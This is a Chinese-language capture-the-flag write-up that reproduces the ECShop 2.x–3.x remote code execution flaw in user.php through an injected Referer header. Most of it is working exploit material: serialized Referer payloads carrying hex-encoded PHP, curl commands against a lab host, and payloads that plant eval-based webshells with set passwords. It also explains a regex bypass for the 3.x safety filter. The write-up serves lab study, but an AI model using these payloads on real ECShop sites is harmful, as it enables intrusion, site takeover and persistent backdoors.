Ecshop 2.x-3.x RCE漏洞复现

说是复现，其实来源于一道CTF题目（Ecshop3.x RCE）

链接：http://www.whalwl.cn:8030

1. 漏洞概述

ECShop的user.php文件中的display函数的模版变量可控，导致注入，配合注入可达到远程代码执行。攻击者无需登录站点等操作，可以直接远程写入webshell，危害严重。

2. 影响范围

　　ECShop全系列版本，包括2.x,3.0.x,3.6.x等

3.开始做题

题目说是Ecshop，于是robots.txt

稍微看了下没发现什么东西

遂，上nikto

仍然无事发生，遂百度搜索Ecshop漏洞

发现在user.php页面的referer存在代码注入

再看

绕过截断

Payload构造

3.x略有不同

简单讲一下3.x版本吧。

　　在ECShop3.x版本中，添加了一个 includes/safety.php 文件，专门用于消除有害数据，它的正则会匹配到 set、 concat 、information_schema、 select from 等语句。暂时没有找到可绕过的SQL语句，但是命令执行还是可以绕过的。因为我们之前的payload经过编码，这样就绕过了正则匹配。现在唯一能匹配到的就是 union select 语句，我们可以同时利用 $arr['id'] 和 $arr['num'] 两个参数，将 union 和 select 分开传递即可绕过正则检测。

2.x Payload:（phpinfo）

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

2)通过使用终端的curl命令(返回phpinfo)

Payload:

curl http://aa0c90a3c2924ea9b3b4fa97c11f687e.n1.vsgo.cloud:15819/user.php -d 'action=login&vulnspy=phpinfo();exit;' -H 'Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"'"'"'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca'

同理写shell(vulnspy.php 密码为 vulnspy)

Payload:

curl http://aa0c90a3c2924ea9b3b4fa97c11f687e.n1.vsgo.cloud:15819/user.php \

-d 'action=login&vulnspy=eval(base64_decode($_POST[d]));exit;&d=ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOz8%2BJyk7' \

-H 'Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"'"'"'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca'

Webshell：(一句话1.php密码1337)

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}

测试中发现通过利用user.php发送请求添加Referer字段进行代码注入时，webshell命名只能单个数字或者字母
3.X（测试3.x时发现curl方式有一定概率被过滤机制发现）

Payload:(phpinfo)

Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a

Webshell：(一句话1.php密码1337)

Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:289:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a

3.x getshell

参考文章：

https://www.vulnspy.com/cn-ecshop-3.x.x-rce-exploit/

https://www.vulnspy.com/cn-ecshop-2.7.x-rce-exploit/

https://xz.aliyun.com/t/2689